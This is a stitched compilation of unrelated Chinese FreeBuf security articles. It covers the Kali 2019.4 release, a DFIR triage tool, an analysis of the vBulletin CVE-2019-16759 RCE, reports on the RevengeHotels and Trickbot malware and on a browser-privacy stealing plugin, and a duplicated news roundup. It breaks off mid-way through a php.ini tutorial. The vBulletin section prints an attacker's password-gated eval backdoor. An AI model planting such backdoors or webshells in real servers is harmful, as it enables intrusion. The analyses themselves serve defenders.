11月26日,Kali Linux官网宣布了2019年第四个也是最后一个版本——Kali Linux 2019.4。相比之前有较大的变动,引起了很多安全爱好者的关注,例如全新的桌面环境Xfce、Kali Undercover模式(能够伪装成win10)、NetHunter Kex 。

启动、登陆界面

Kali Linux 2019.4发行版更新说明

一个新的默认桌面环境,Xfce

新的GTK3主题(用于Gnome和Xfce)

引入Kali Undercover模式

Kali文档有了一个新家,现在支持Git

公共包装-把你的工具放进Kali

安装在Android上的NetHunter Kex – Full Kali 桌面

安装过程中的BTRFS

添加PowerShell

内核升级到5.3.9版本

…以及常规的错误修复和更新

新的桌面环境和GTK3主题

在最新的版本中,Kali完全舍弃了Gnome桌面而转向了Xfce。官方认为,Gnome虽然功能很强大,有很多非常棒的特性,但对于大部分Kali用户而言,要想的只是能够一次运行多个终端窗口的窗口管理器和一个网页浏览器。

其次,Kali需要支持从低端到高端不同的硬件设备,包括树莓派。Kali致力于轻量级的解决方案,希望能够在不同的设备上都尽可能提供一致的使用体验。基于这些考虑,Gnome则显得有些臃肿,故而选择更为轻量的Xfce作为默认桌面环境。

暗黑主题和浅色主题

不过如果部分用户仍然想继续留在Gnome桌面环境,Kali最新版本则继续提供了gnome版本,用户可自行选择。

Kali Undercover模式

如果你在某些环境中想用Kali做点什么,却又不想被人轻易发现,那么Kali Linux 2019.4版本中提供了一个很好的掩护功能。

官方制作了一个小脚本,能够快速将默认主题切换为类似Windows 10桌面环境,非常逼真,这样可以放心的“工作”。再次运行脚本就可以重新切换回之前的主题。

Android手机上完整的Kali桌面——NetHunter Kex

还有一个重磅功能便是NetHunter Kex,可以通过安卓设备连接蓝牙和鼠标,通过HDMI输出获得一个完整的Kali桌面环境。这其实有点类似现在智能手机上内置的桌面模式,提供轻量级的电脑工作模式。

在没有体验之前,你可能无法想象这个功能的真正强大支持。假如你的手机性能足够好,利用这个功能基本等同于拥有一台ARM的台式机。NetHunter Kex目前仍处于测试阶段,官方文档介绍了详细的使用方法:

https://www.kali.org/docs/nethunter/nethunter-kex-manager/

Powershell

从去年六月份开始,官方就有文档说明在Kali Linux中安装PowerShell,而在今年11月份的更新中,powershell已添加到主存储库中,现在只需要运行:

apt update && apt -y install powershell

就能让你的系统拥有强大的PowerShell。

安装过程中的BTRFS

Kali Linux 2019.4新增使用BTRFS作为根文件系统。这是Re4son记录的一种令人惊叹的方法,完成后,您可以在升级后执行文件系统回滚。

关于BTRFS

一种支持写入时复制(COW)的文件系统,运行在Linux操作系统,采用GPL授权。目标是取代Linux当前的ext3文件系统,改善ext3的限制,特别是单个文件的大小,总文件系统大小或文件检查和加入ext3未支持的功能,像是可写快照(writable snapshots)、快照的快照(snapshots of snapshots)、内建磁盘阵列(RAID),以及子卷(subvolumes)。Btrfs也宣称专注在“容错、修复及易于管理”。

下载或更新

Kali Linux下载地址:

https://www.kali.org/downloads/

如果已经安装旧版Kali Linux,可以直接快速更新:

[email protected]:~# cat </etc/apt/sources.list
deb http://http.kali.org/kali kali-rolling main non-free contrib
EOF
[email protected]:~#
[email protected]:~# apt update && apt -y full-upgrade
[email protected]:~#
[email protected]:~# [ -f /var/run/reboot-required ] && reboot -f

切换到新版的Xfce桌面环境:

[email protected]:~# apt -y install kali-desktop-xfce

检查是否为最新版本:

[email protected]:~# grep VERSION /etc/os-release
VERSION="2019.4"
VERSION_ID="2019.4"
VERSION_CODENAME="kali-rolling"
[email protected]:~#
[email protected]:~# uname -v
#1 SMP Debian 5.3.9-3kali1 (2019-11-20)
[email protected]:~#
[email protected]:~# uname -r
5.3.0-kali2-amd64
[email protected]:~#

注意:“uname-r”的输出可能会有所不同。

*参考来源:Kali/Xcnte,由shidongqi编译整理,转载请注明来自FreeBuf.COM

DFIRTriage.png

DFIRTriage描述

DFIRTriage这款工具旨在为安全事件应急响应人员快速提供目标主机的相关数据。该工具采用Python开发,代码已进行了预编译处理,因此广大研究人员可以在不需要额外安装依赖组件的情况下直接在目标主机中使用该工具了。该工具在运行过程中,将会自动化执行各种命令,获取到的数据将存储在工具执行目录的根目录下。除此之外,DFIRTriage还可以直接从USB驱动器中运行,也可以通过远程Shell来在目标主机上运行。目前,该工具仅支持Windows平台。

工具新特性

常规:

1、引入了高性能更新机制,清理了旧版本Bug,提升了工具性能;

2、重构了输出目录的结构;

3、移除了TZworks工具;

4、增加了新的命令行参数;

内存采集:

1、默认采集内存数据;

2、内存数据采集时需提供参数;

3、获取内存之前进行可用空间检查;

4、更新采集流程以避免Windows崩溃;

新工具:

1、Windowsupdate.log文件

2、Windows Defender扫描日志

3、PowerShell命令行历史记录

4、HOST文件

5、Netstat输出(含相关网络连接的PID)

6、记录所有目标主机中已登录用户的信息(Triage_info.txt)

7、新增Windows Event日志事件条目

DFIRtriage搜索工具:

1、可针对DFIRtriage输出数据和日志文件进行关键词搜索;

2、搜索工具为独立的可执行文件-dtfind.exe;

3、双击即可运行

依赖环境

工具库包含正确执行所需的完整工具集,并打包到一个名为“core.ir”的单个文件中。在Python中运行时,此“.ir”文件是DFIRtriage唯一必需的依赖项,位于名为data的目录中(即“/data/core.ir”)。DFIRtriage的编译版本嵌入了完整的工具集,不需要添加“./data/core.ir”文件。注:不再使用TZWorks实用程序。

工具下载

广大研究人员可以使用Git命令将项目源码克隆至本地:

git clone https://github.com/travisfoley/dfirtriage.git

操作流程

DFIRtriage直接从目标主机中获取数据,对于远程主机数据的获取,需要将DFIRtriage文件复制到目标主机中,然后通过远程Shell执行。(即SSH或PSEXEC)

PSEXEC的使用

1、映射网络驱动器,使用账号完成认证,该账号需要拥有目标主机上的本地管理员权限,我们可以直接利用映射链接来将DFIRtriage拷贝到目标主机中。

2、现在,我们需要使用PSEXEC来与目标主机建立远程Shell连接:

psexec \target_host cmd

3、拿到目标主机的远程Shell之后,现在就能够在目标主机上执行所有命令了。

注意:DFIRtriage必须以管理员权限运行。

输出分析

完成后,按enter清除输出目录。如果运行可执行文件,则只剩下输出的压缩文档和DFIRtriage.exe。如果直接运行Python代码,则只剩下DFIRtriage-v4-pub.py和输出的压缩文档。

输出目录

输出目录名将包括目标主机名以及表示何时执行DFIRtriage的日期/时间代码,日期/时间代码格式为YYYYMMDDHHMMSS。

项目地址

DFIRtriage:【GitHub传送门】 

*参考来源:kitploit,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

写在前面的话

近期,vBulletin披露了一个最新的0 day漏洞细节,这个漏洞分配的CVE编号为CVE-2019-16759。与此同时,Unit 42的安全研究人员也在网上发现了有很多攻击者正在利用该漏洞来实施攻击。在该漏洞的帮助下,未经身份验证的攻击者将能够访问和控制运行了v5.0.0至v5.5.4版本vBulletin的服务器,并且阻止网络管理员访问这些服务器。目前,使用了vBulletin的网站数量大约有10万多个,其中包括很多大型企业、组织和论坛,因此该漏洞应当立刻被修复。

在这篇文章中,我们会对这个漏洞的成因进行分析,并给出PoC演示代码以及其他关于该漏洞的详细信息。

漏洞成因分析

CVE-2019-16759是一个预认证远程代码执行漏洞,它的CVSS评分为9.8。vBulletin v 5.0.0版本中引入的一个Ajax渲染函数,而这个函数将引发PHP服务器端模板注入,并最终导致这个预认证远程代码执行漏洞出现。

首先,我们看一看index.php的代码:

这段代码会调用vB5_Frontend_ApplicationLight::isQuickRoute()来判断请求是否为“quick route”,使用的方法是位于includes/vb5/frontend/applicationlight.php中的isQuickRoute():

在上图中,如果请求以“ ajax/api”或“ajax/render”开头,那么函数将会返回true,vB5_Frontend_ApplicationLight对象会被初始化。

当接收到的请求以“ajax/render”开头,那么上图显示的处理器将会被设置为“callRender”:

上图中的callRender()函数将会使用来自array_merge($_POST, $GET)的$routeInfo[2]和$params中的参数来进行模板渲染:

根据上图的内容,vbulletin-style.xml文件中有一个widget_php模板,如果模板中的$widgetConfig[‘code’]不为空,并且$vboptions[‘disable_php_rendering’]也被禁用了的话,就会执行下列代码:

{vb:action evaledPHP, bbcode, evalCode, {vb:raw 

widgetConfig.code}}

               {vb:raw $evaledPHP}

上图显示的是evalCode()函数的代码,$code中的命令会直接由PHPeval()函数执行。使用params参数构造的请求如下:

漏洞概念验证PoC

由于参数routestring来自$_REQUEST,因此它可以通过$_GET、$_POST和$_COOKIE HTTP等方法来发送,而widgetConfig[code]可以通过$_GET或$_POST方法发送,因此我们构建了下列请求:

上图显示的是PoC代码通过GET请求发送后phpinfo()函数运行的结果。

下图显示的是PoC代码通过POST请求发送后phpinfo()函数运行的结果:

漏洞在野利用情况分析

目前,研究人员已经检测到了多个该漏洞的在野利用实例了。如下图所示,攻击者尝试执行了“die(@md5(HellovBulletin))”命令来判断目标服务器是否存在这个漏洞,但由于请求中多了一个等号“=”,所以漏洞利用失败了:

下图显示的是攻击者尝试在目标服务器的Web根目录中创建一个名为“webconfig.txt.php”的文件:

下图显示的是webconfig.txt.php的内容以及一个one-line PHP webshell,它们将允许攻击者向目标主机发送任意命令并实现命令的执行:

下图显示的是第三个在野漏洞利用例子,这里的攻击者尝试了覆盖bbcode.php文件:

一旦利用成功,evalCode()函数将会变成下面这个样子:

function evalCode($code)

{

ob_start();if (isset($_REQUEST["epass"]) && $_REQUEST["epass"] == "2dmfrb28nu3c6s9j") { eval($code);}

$output = ob_get_contents();

ob_end_clean();

return $output;

}

通过以上内容,当“epass”通过请求中的值 “2dmfrb28nu3c6s9j”来发送时,目标主机将会执行evalCode()函数的代码。

漏洞修复

研究人员建议广大网络管理员尽快将vBulletin更新到v5.5.2/3/4 Patch Level 1

入侵威胁指标IoC

132[.]232[.]236[.]207

69[.]160[.]169[.]100

154[.]221[.]17[.]40

103[.]45[.]105[.]234

150[.]109[.]116[.]145

117[.]50[.]67[.]41

218[.]207[.]20[.]109

112[.]213[.]103[.]96

106[.]54[.]225[.]43

103[.]120[.]83[.]11

193[.]8[.]80[.]129

192[.]186[.]2[.]205

175[.]126[.]145[.]10

144[.]202[.]100[.]24

154[.]223[.]154[.]103

122[.]152[.]215[.]43

103[.]103[.]68[.]99

45[.]249[.]181[.]8

180[.]76[.]234[.]185

106[.]12[.]205[.]15

216[.]83[.]52[.]60

49[.]234[.]48[.]107

193[.]112[.]203[.]71

132[.]232[.]220[.]67

185[.]23[.]201[.]31

103[.]68[.]173[.]13

156[.]224[.]8[.]52 

103[.]250[.]6[.]215

117[.]78[.]35[.]14

106[.]13[.]82[.]38

* 参考来源:paloaltonetworks,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

RevengeHotels是一款主要针对巴西酒店业的网络犯罪恶意软件,其目标是获取酒店系统中存储的客人的信用卡数据,以及从诸如Booking.com之类的在线旅行社(OTA)接收的信用卡数据。卡巴斯基已确认有超过20家酒店成为此次行动的受害者,它们分布在巴西的八个州,另外还有其他一些国家或地区受到影响,包括南美的阿根廷、玻利维亚、智利、哥斯达黎加,欧洲的法国、意大利、墨西哥、葡萄牙、西班牙,以及亚洲的泰国和土耳其等国家。

RevengeHotels通过带有恶意附件的钓鱼邮件感染受害者,其中一些版本利用了漏洞CVE-2017-0199,该漏洞是2017四月FireEye公布的一个OFFICE 0day,在无需用户交互的情况下,打开word文档就可以通过hta脚本执行任意代码。RevengeHotels会在受害者的计算机中安装定制版本的RevengeRAT、NjRAT、NanoCoreRAT、888 RAT以及其他一些定制恶意软件。其背后的运营者自2015年以来一直活跃,但在2019年增大了攻击力度。

针对酒店行业的黑客组织除了RevengeHotels之外,还有另一伙使用的基础设施、工具和技术都与之相似的组织,我们将其命名为ProCC。这些组织都善于运用社会工程诈骗手段,以大额订单为名诱使目标上钩,他们还出售受影响系统的凭证,允许其他网络罪犯远程访问受影响的酒店前台。

一年多来,我们一直在监控这些组织的活动和他们制造的新恶意软件。可以确定的是,至少有两个不同的组织正集中精力攻击这个领域,此外还有第三个组织,不过尚不清楚它的重点是只针对这个领域,还是也在实施了其他类型的攻击。

钓鱼邮件

这些组织在行动中使用的策略之一是针对性很强的鱼叉式网络钓鱼邮件,通过注册近似域名来冒充合法公司,且邮件格式行文也是尽量体现出了规范和专业,以政府机构或私人企业的名义跟酒店沟通房位报价,不过仔细看的话,还是能发现发送电子邮件的域名与实际的域名之间的细微区别。

图1.一封据称是从律师事务所发送的电子邮件

上图是一封用葡萄牙语写成的钓鱼邮件,附带了一个恶意附件,文件中的律师事务所是真实存在的,而发送邮件的域名是攻击者是在前一天注册的近似域名,为了增加可信度,攻击者甚至在报价中附上了一份国家法人登记卡(CNPJ)的复印件。

附件Reserva Advogados Associados.docx (Associates reserve .docx)是一个恶意的Word文件,它通过模板注入来删除远程OLE对象来执行宏代码。远程OLE文档中的宏代码包含PowerShell命令,这些命令下载并执行最终的有效负载。

这则用葡萄牙语写成的鱼叉式网络钓鱼邮件带有恶意文件,附加了一个真实的律师办公室的名称,而该邮件的域发件人是在一天前使用错字域名注册的。该小组进一步进行了社会工程工作:为了使酒店人员确信他们的要求是合法的,报价单上附有国家法律实体注册卡(CNPJ)的副本。

附加文件Reserva Advogados Associados.docx(律师协会预定.docx)是一个恶意Word文件,该文件通过模板注入删除远程OLE对象以执行宏代码,宏代码包含PowerShell命令以下载并执行最终payload。

图2.嵌入式宏执行的PowerShell命令

下载的文件是受Yoda Obfuscator保护的.NET二进制文件,解压后代码被识别为RevengeRAT。该组织还编写的另一个名为ScreenBooking的模块用于捕获信用卡数据,它监视用户是否正在浏览网页。在2016年的初始版本中,下载的文件分为两个模块:后门和捕获屏幕截图的模块。最近,我们注意到这些模块已合并到单个后门模块中,该模块可从剪贴板收集数据并捕获屏幕截图。

在此示例中,攻击者正在监视的网页是booking.com,更具体地说,是包含信用卡详细信息的页面。代码专门用于寻找葡萄牙语和英语的数据,从而使攻击者能够从用这些语言编写的网页中窃取信用卡数据。

图3.恶意软件搜索的标题,以捕获屏幕内容

而在ProCC的行动中,下载的文件是Delphi二进制文件,安装的后门要比RevengeHotels使用的后门更有针对性:它是从零开始开发的,能够从剪贴板和打印机后台处理程序中收集数据,捕获屏幕截图。由于负责确认预订的工作人员通常需要从OTA网站上提取信用卡数据,因此可以通过监视剪贴板和发送给打印机的文档来收集卡号。

图4.当用户将某些内容复制到剪贴板或发出打印请求时,将捕获屏幕截图

出售酒店系统凭证

根据地下论坛的说法,这些组织还通过感染前台计算机获取酒店管理系统的凭据,也可以从中窃取信用卡详细信息,同时还出售对这些系统的远程访问权限,让其他人也可以访问。

图5.犯罪分子出售酒店预订系统远程访问权限

犯罪分子吹捧信用卡数据质量高、可靠,因为这些数据来自可信的来源。

图6.售卖窃取数据

受害者范围

卡巴斯基估计此攻击已遍及全球,但根据遥测数据只能确认以下国家/地区的受害者:阿根廷、玻利维亚、巴西、智利、哥斯达黎加、法国、意大利、墨西哥、葡萄牙、西班牙、泰国和土耳其。

图7.受害者分布

根据Bit.ly统计数据,我们可以看到许多其他国家的人也有访问恶意链接。数据表明实际访问的用户所在国家数量比我们统计的要多。

图8.RevengeHotels行动中各个国家点击恶意链接的数量

总结

RevengeHotels是一起至少自2015年以来一直活跃的攻击行动,其主要目标集中在巴西,目前已扩展到拉丁美洲及其他国家地区。

如果您担心自己的旅游安全,强烈建议您使用虚拟付款卡在OTA上预订,这种卡在一次收费后就会失效,在付款或在酒店结账时也最好使用虚拟钱包,例如Apple Pay,Google Pay等。如果很难实现,那么最好选择次要的信用卡,因为你永远不知道酒店的系统是否干净。

卡巴斯基所有产品将以下威胁检测为:

HEUR:Backdoor.MSIL.Revenge.gen

HEUR:Trojan-Downloader.MSIL.RevengeHotels.gen

HEUR:Trojan.MSIL.RevengeHotels.gen

HEUR:Trojan.Win32.RevengeHotels.gen

HEUR:Trojan.Script.RevengeHotels.gen

Trickbot 是2016年首次出现的从有漏洞的Windows主机窃取系统信息、登陆凭证和其他敏感数据的一款恶意软件。Trickbot是一种模块化的恶意软件,其中一个模块就算密码获取模块。2019年11月,研究人员发现Trickbot的密码窃取模块的目标转向了OpenSSH和OpenVPN应用。

Trickbot模块

感染了Trickbot的Windows主机会下载不同的模块来执行不同的功能。这些模块以加密二进制文件的形式保存在受感染用户的AppData\Roaming文件夹中。然后加密的二进制文件会解码为DLL文件,并在系统内存中运行。图1是2019年11月8日Trickbot感染64位Windows 7系统主机生成的编码的Trickbot模块。

 图 1. 2019年11月8日Trickbot 感染的模块

密码窃取模块

如图1所示,其中一个模块名为pwgrab64,这也是Trickbot使用的密码窃取模块。该模块会从受害者的浏览器缓存中提取出登陆凭证,并从受害者主机的其他应用中获取登陆凭证。该密码窃取模块和其他模块会将窃取的数据用未加密的HTTP数据包通过TCP 8082端口发送到Trickbot使用的IP地址中。如图2所示,就是从感染了Trickbot的主机中的抓包数据中收集的信息。这是从受感染用户的Chrome浏览器缓存中窃取的登陆凭证示例。

图 2. 从受感染的用户Chrome浏览器缓存中窃取的登陆凭证

密码窃取模块更新

从最近Trickbot感染的流量模式中可以发现其与2019年11月的感染情况是一致的。首先看一下密码窃取器的2个HTTP POST请求:

· OpenSSH私钥

· OpenVPN密码和configsls

OpenVPN那行,configsls可能是configs的错误拼写。图3和图4是含有这些id的HTTP POST请求示例。

 图 3. Trickbot密码窃取模块窃取OpenSSH私钥的HTTP POST请求

图 4. Trickbot密码窃取模块窃取Open OpenVPN密码和配置的HTTP POST请求

更新不起作用?

Trickbot的密码窃取模块更新可能并没有完全起作用。密码窃取器窃取OpenSSH和OpenVPN的HTTP POST请求并不管受害者主机中是否安装了OpenSSH或OpenVPN。而且研究人员在请求中并没有发现什么数据。

研究人员在实验室环境下对配置了OpenSSH和OpenVPN应用的Windows 7和Windows 10主机进行了测试,也没有发现任何数据。密码窃取器对OpenSSH和OpenVPN应用窃取所产生的HTTP POST请求是不含有数据的。

但Trickbot的密码窃取器模块会从PuTTY(SSH/Telnet客户端)窃取SSH密码和私钥。图5和图6是从感染了Trickbot并安装了PuTTY的主机中密码窃取器窃取到云服务器的SSH连接的私钥。

 图 5. Trickbot密码窃取器模块窃取PuTTY应用产生的HTTP POST请求

 图 6. Trickbot密码窃取器模块窃取PuTTY使用的私钥产生的HTTP POST请求

结论

本文描述了Trickbot流量模式的最新变化,表明对密码窃取器模块产生的一些变化。这些更新表明更新的目标是来自OpenSSH和OpenVPN应用的数据,但这些功能好像还不能正常工作。但更新后的密码窃取模块是可以从PuTTY这样的SSH相关的应用中窃取私钥这样的敏感数据的。流量模式的更新表明Trickbot仍然在不断进化。

一、概述

近期毒霸安全团队通过“捕风”威胁感知系统监控到一起大规模窃取用户浏览器隐私的流氓病毒活动,源头为“上海**网络科技有限公司”旗下的“**看看”软件,除了收集主流浏览器的历史访问记录外,还会定向收集“m****v.com”的cookies上报,推测属于第三方广告营销平台合作行为,可能被用于广告营销商业效果评估等用途。

通过深入溯源关联分析,我们还发现用于推送浏览器隐私收集插件的LUA云控模块“LuaRtl.dll”还广泛存在于“快*”、“小*记事本”、“小*便签”、“*风pdf ”、“麦*助手”、“A**看图”、“光*搜索”、“7***浏览器”、“小*壁纸”等数十款软件中。除此之外,我们还发现多类涉及用户隐私收集或劫持的病毒插件模块,包括“htkkinforeport_dll.dll”、“UrlReport_dll.dll”、“BrowserLink.dll”等。从我们的长期监控来看,上述软件的云控机制也在不断迭代升级,加强对抗监控分析能力,在技术上强调灵活性和隐蔽性,攻击过程文件不落地,恶意模块通过LUA脚本引擎、Shellcode注入以及DLL反射装载等“无文件”技术手段下放执行,配合环境规避、代码混淆、反调试等灵活对抗机制,给传统安全软件的监控检测也带来一定的困扰。

上述软件大多有正常软件功能包装,安装活跃用户较多,如此大规模的隐私窃取活动在业内也比较罕见。浏览器访问历史、Cookies对于用户来说不仅是非常重要的个人隐私,更是账号身份安全认证信息,这样重要的个人信息被不法软件大规模收集,被用于“大数据”分析对用户进行 “精准画像”,包括“定制信息推送”、“精准广告投放”、“用户行为预测”、“转化分析”、“反作弊分析”等等商业用途。“技术无罪”的论调下,黑与白的界限似乎变得模糊,一方面是用户和信息之间更快速高效的匹配,商家降低获客成本;但是另一方面是个人隐私无限制的泄露,随之而来的各种广告骚扰和安全隐患。无论如何用户对于自身隐私被收集利用应该具备知情权,所以我们决定披露这一起针对用户浏览器隐私进行收集窃取的流氓病毒活动。

云控模块推送隐私收集插件的主要流程如下:

二、技术分析

由于涉及产品众多,本文以好*看看为例进行分析,好*看看主进程Hao**KanKan.exe会启动当前目录下的viewuc.exe,传入加密参数执行,经过解密后的参数如下:

首先读取当前目录下的hao**uc.jpg图片,看似正常的图片但末尾被附加了加密的PE文件,解开后为updatechecker_dll.dll,该模块被内存加载后调用导出函数EnteyPoint传入解密后的参数执行。其另外两张同样也是隐藏PE文件分别为Report_dll.dll和Update_dll.dll:

进入updatechecker_dll模块后会对命令行参数进行解析后对指定的模块进行加载,这些模块都被加密被存放在了注册表中,在安装时被就下载存入,此公司旗下产品也都是以此种方式存放功能模块于注册表中。updatechecker对应于注册表项,mininews 和logo为需要加载的模块,logouc为Lua脚本。其中logo是Lua扩展模块,Lua脚本中的相关接口实现需要该模块支持。

在加载模块前会先查询云端MD5值与本地数据MD5进行对比,不相同则下载最新文件存入。以logo模块为例首先访问[http]://i.hao**kankan.com/logo/v1.0.0.2/super.gif.MD5

获取该模块MD5值,不相同再访问[http]://i.hao**ukankan.com/logo/v1.0.0.2/super.gif进行下载。Logo解密后为Lua脚本扩展模块LuaRtl.dll.dll,对应执行的脚本为logouc:

在进行上述模块解密前还会进行调试器攻击,先调用BlockInput函数让鼠标和键盘失灵,再通过PEB中的BeingDebugged调试标志位检测是否在调试,如果正在调试则去桌面寻找fuck.debug文件,不存在直接返回不恢复键盘和鼠标输入,造成调试器和整个桌面卡死的假象:

进入解密及模块加载功能的函数时,其函数头部代码已经被混淆处理:

通过混淆代码后会解密出Lua脚本和Lua扩展模块,对Lua扩展模块进行内存加载,同时载入已编译的lua脚本,后期工作逻辑交给Lua脚本处理。对Lua脚本还原后其执行逻辑是在main函数中执行完弹窗后,会调用execute_urlreport函数进行url和cookie收集,该函数进行参数封装后调用接口函数invoke_exe_inject,此函数在LuaRtl.dll中实现。在LuaRtl.dl中根据传入的参数,解密出注册表中的隐私收集模块logo_UrlReport (htkkinforeport_dll.dll),同时挂起创建傀儡进程E320.TMP.exe 注入shellcode和htkkinforeport_dll.dll模块,创建远程线程执行shellcode,由shellcode内存加载起htkkinforeport_dll.dll并调用导出函数e开始工作:

在htkkinforeport_dll.dll模块中,首先获取用户硬件信息计算出唯一的UID标识用户,再判断使用该模块的是旗下哪款产品,通过解密出字符串访问相应的注册表键值获取安装数据上报。

获取浏览器历史记录包括了市面上的绝大部分浏览器:chrome,2345,360chrome,360safe,世界之窗,liebao,opera,qq,uc,IE,Mozilla,sogou。以chrome浏览器为例,历史记录都是以Sqlite数据库存储的,先复制一份数据到临时目录,通过Sqlite3库打开数据库执行SQL语句进行查询,在查询前会获取上一次的时间戳,获取此时间戳以后的新内容。为了直观展示以数据库查询工具做演示执行sql语句:

这些数据最终会被封装成json格式加密后通libcurl库发送到服务器http://h*kkinforeport.***ingzao.com/12.gif:

浏览器的Cookie与历史记录相似也是Sqlite数据库,同样复制到临时目录,打开Cookie数据库进行查询操作。与查询历史记录不同的是,Cookie定向收集所有包含m****v.com域名的cookie。

Cookie值在数据库是加密存放在encrypted_value字段中的,但是加密是基于本地账户登录凭证的所以解密需要在本地进行,通过调用API CryptUnprotectData进行解密并发送。

三、总结

当下谈及用户隐私安全,普遍更多的侧重于和个人信息结合更紧密的移动端APP案例,但是PC端同样保存了非常多有价值的用户隐私信息,相对于移动端,PC系统的安全权限设置更加宽松开放,隐私窃取的技术难度反而更低,并且现阶段的用户隐私保护政策并不完备,对于部分流氓团伙和软件厂商来说就成为可乘之机。所以我们安全团队建议用户定期清理浏览记录,毒霸用户可以使用隐私清理保护功能防止个人信息泄露。

IOC

[MD5]

36593363D3F09A6D65F6670BDC115241

8E139186B82AD88B50**A04E2C82BFE1

8D85BFC97A1DF511BBD477DB32A42E72

E5A5B8A5A9402E9154A392A**F4D9811

0B9C5CB6201EEE56AB332AEB44802D9B

7B059DE910C2BDF3D051174F50**C71B

75A1AE668EB6773C18CB0613A8E4BFA5

5B60924BE0F70B5D9525021C234B2070

6CCDA533C**43BAE4372858715183CF3

9FCD1DE8B96A7DDF0BDFDBAD494E4708

*本文作者:安全豹,转载请注明来自FreeBuf.COM

本周BUF大事件还是为大家带来了新鲜有趣的安全新闻,CIS 2019网络安全创新大会在上海举办;某儿童手表泄露5000多儿童信息,还能假扮父母打电话;电信巨头T-Mobile遭网络攻击,客户信息被泄露;一加公布个人信息安全漏洞并向受影响客户致歉。想要了解详情,来看本周的BUF大事件吧!

观看视频

内容梗概

CIS 2019网络安全创新大会在上海举办

2019年11月27日-28日,CIS 2019网络安全创新大会在上海宝华万豪酒店举办,此次CIS大会以“新纪漫游”为主题,是原FIT互联网安全创新大会的全面升级。本次大会由FreeBuf、赛博研究院、上海市信息安全行业协会联合主办,通过分享最新网络安全形势,聚焦网络安全风险应对策略,共同探讨网络安全发展前沿技术,进一步提升人们的网络安全意识,启迪网络安全防护解决方案新思路,推动网络安全产业向更宽领域、更深层次、更高质量发展。更多精彩内容回顾尽在FreeBuf,关注一波哟! 

CIS.jpg

某儿童手表泄露5000多儿童信息,还能假扮父母打电话

近日,测试机构AV-TEST的物联网测试部门发布报告称,他们发现一款国产智能儿童手表存在严重安全隐患,其中有5000多名儿童及其父母的个人详细信息和位置信息被曝光。研究人员称,该手表需要与配套的移动应用程序一起使用,并且允许任何人通过可公开访问的Web API查询智能手表的后端,这时移动应用程序还处于连接状态以用于检索其在父母手机上显示的数据的后端。一旦Web API公开,攻击者可以连接到该Web API循环浏览所有用户ID,并收集所有孩子及其父母的数据。

手表.jpg

电信巨头T-Mobile遭网络攻击,客户信息被泄露

电信巨头T-Mobile上周宣布遭受了数据泄露,黑客访问了其预付费无线客户的个人信息,这也是两年来黑客第二次瞄准T-Mobile 。该公司在一份声明中透露,黑客访问的数据包括姓名,电话号码以及他们的帐户信息(例如帐单明细),但黑客并未访问密码或财务数据。

T-Mobile.jpg

一加公布个人信息安全漏洞并向受影响客户致歉

上周六,一加安全团队通过 OnePlus 社区论坛公布了自家智能机上的一个“个人信息安全漏洞”。当用户在 OnePlus 商店订购时,其中一个环节会导致“未经授权的第三方接触到用户的某些订购信息”,主要包括包括用户名,联系电话,电子邮件和送货地址。尽管其中并不包括付款、密码或 OnePlus 账号等信息,但该公司还是就此事向用户表达了歉意。

一加.jpg

* 本文作者:Darry端,FreeBuf视频组荣誉出品,转载须注明来自FreeBuf.COM

本周BUF大事件还是为大家带来了新鲜有趣的安全新闻,CIS 2019网络安全创新大会在上海举办;某儿童手表泄露5000多儿童信息,还能假扮父母打电话;电信巨头T-Mobile遭网络攻击,客户信息被泄露;一加公布个人信息安全漏洞并向受影响客户致歉。想要了解详情,来看本周的BUF大事件吧!

观看视频

内容梗概

CIS 2019网络安全创新大会在上海举办

2019年11月27日-28日,CIS 2019网络安全创新大会在上海宝华万豪酒店举办,此次CIS大会以“新纪漫游”为主题,是原FIT互联网安全创新大会的全面升级。本次大会由FreeBuf、赛博研究院、上海市信息安全行业协会联合主办,通过分享最新网络安全形势,聚焦网络安全风险应对策略,共同探讨网络安全发展前沿技术,进一步提升人们的网络安全意识,启迪网络安全防护解决方案新思路,推动网络安全产业向更宽领域、更深层次、更高质量发展。更多精彩内容回顾尽在FreeBuf,关注一波哟! 

CIS.jpg

某儿童手表泄露5000多儿童信息,还能假扮父母打电话

近日,测试机构AV-TEST的物联网测试部门发布报告称,他们发现一款国产智能儿童手表存在严重安全隐患,其中有5000多名儿童及其父母的个人详细信息和位置信息被曝光。研究人员称,该手表需要与配套的移动应用程序一起使用,并且允许任何人通过可公开访问的Web API查询智能手表的后端,这时移动应用程序还处于连接状态以用于检索其在父母手机上显示的数据的后端。一旦Web API公开,攻击者可以连接到该Web API循环浏览所有用户ID,并收集所有孩子及其父母的数据。

手表.jpg

电信巨头T-Mobile遭网络攻击,客户信息被泄露

电信巨头T-Mobile上周宣布遭受了数据泄露,黑客访问了其预付费无线客户的个人信息,这也是两年来黑客第二次瞄准T-Mobile 。该公司在一份声明中透露,黑客访问的数据包括姓名,电话号码以及他们的帐户信息(例如帐单明细),但黑客并未访问密码或财务数据。

T-Mobile.jpg

一加公布个人信息安全漏洞并向受影响客户致歉

上周六,一加安全团队通过 OnePlus 社区论坛公布了自家智能机上的一个“个人信息安全漏洞”。当用户在 OnePlus 商店订购时,其中一个环节会导致“未经授权的第三方接触到用户的某些订购信息”,主要包括包括用户名,联系电话,电子邮件和送货地址。尽管其中并不包括付款、密码或 OnePlus 账号等信息,但该公司还是就此事向用户表达了歉意。

一加.jpg

* 本文作者:Darry端,FreeBuf视频组荣誉出品,转载须注明来自FreeBuf.COM

一、关于php ini介绍

php.ini

apache在启动时php.ini被读取。对于服务器模块版本的php,仅在web服务器启动时读取一次。对于CGI和CLI版本,每次调用都会被读取

Apache Web服务器在启动时会把目录转到根目录,这将使得PHP尝试在根目录下读取php.ini,如果·存在的话。在php.ini中可以使用环境变量

User.ini

自php5.3.0起,PHP支持基于每个目录的.htaccess风格的INI文件。此类文件仅被CGI/Fastcgi sapi处理。

php_ini_*

模式 含义
PHP_INI_USER 可在用户脚本(例如 ini_set())或 Windows 注册表(自 PHP 5.3 起)以及 .user.ini 中设定
PHP_INI_PERDIR 可在 php.ini,.htaccess 或 httpd.conf 中设定
PHP_INI_SYSTEM 可在 php.ini 或 httpd.conf 中设定
PHP_INI_ALL 可在任何地方设定

二、常见配置

register_globals = off

作用: 这个设置的作用是设置全局变量的自动注册。

版本特性: 本特性已自 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除。5.2.0中默认开启

不安全范例: 

<?php
$username=$_GET['username'];
$password=$_GET['password'];
// 当用户合法的时候,赋值
